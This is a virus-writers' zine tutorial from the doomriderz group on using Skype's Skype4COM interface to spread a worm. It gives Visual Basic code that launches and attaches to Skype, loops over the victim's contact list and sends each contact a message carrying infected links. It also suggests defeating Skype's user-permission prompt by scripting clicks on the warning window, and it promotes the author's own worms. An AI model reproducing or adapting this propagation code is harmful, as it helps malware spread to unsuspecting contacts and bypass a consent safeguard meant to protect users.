+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++ Using Skype for VX by [WarGame/doomriderz] ++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
1) Introduction
2) Code
3) Greetz
1) Introduction
This is my first tutorial for the doomriderz, I will try to explain it in the better
way :).
But remember my first language is not english but italian :).
Skype is a very popular VoIP client, you can talk with all the world with few money and
in every moment ( you need only a PC + skype ).
This tutorial will explain you how to use the classical IM component of this program.
The challenge is to create a full working VoIP worm :)
2) Code
There are 2 main ways to access to skype:
a) Direct API
2) Skype4COM interface
The option "a" is not so simple, I used it in my first C worm released in EOF#1 and I took
much time to implement it.
If you are interested look at the zine: http://vx.netlux.org/vx.php?id=ze02
The option "b" is the better than "a": it is very simple and you can use skype with few
lines of code.
Ok no other words, go to code :)
This is a vb code snippet that shows all:
1 - Set skype_fd = CreateObject("Skype4COM.Skype")
2 - skype_fd.Client.Start
3 - skype_fd.Attach
Line 1: instance a Skype4COM object (in theory you could do this in every language that can access COM, asm too :) )
Line 2: boot up skype
Line 3: attach to skype client
Ok now we are connected to skype, ah I was forgetting, skype will prompt user to allow proggy
to access skype ... an exercise for the reader, bypass skype warning (FindWindow() & SendMessage() should be enough).
The next step is to read contact list and send IM messages (containing infected URLs):
Line 4: For Each user In skype_fd.Friends
Line 5: skype_fd.SendMessage user.Handle, "your message here"
Line 6: Next
Line 4: this for loop is to iterate in contact list ( current buddy in user var )
Line 5: Use the SendMessage() method to send the IM message
Line 6: the end of the loop :)
It's amazing, with those few lines of code you can use skype for your own aim.
I used vb for an example worm (M$ products can destroy your brain!) but every other language
could be used like js, or some .net languages.
For a nasty example of all this shit, look at my utopia vb worm in this zine
3) Greetz (in random order)
A great thx go to all doomriderz team:
genetix: for the fun on MsN and on IrC and your amazing code (I learn much from you)
free0n: for being a very friendly guy and a pioneer of .NET :)
Michael: thx for your suggestions about my VCK :).
The same for the other members of doomriderz.
Other people I would like to thank:
SlageHammer: you are my vx-father :)
izee: you are the right leader for EOF, go on so :) !
Nibble: a great rude friend :)
retr0: Sex pistols rulez !
You can contact me at: wargame89@yahoo.it, my home site: http://ihateyou.altervista.org or
our main site: http://doomriderz.co.nr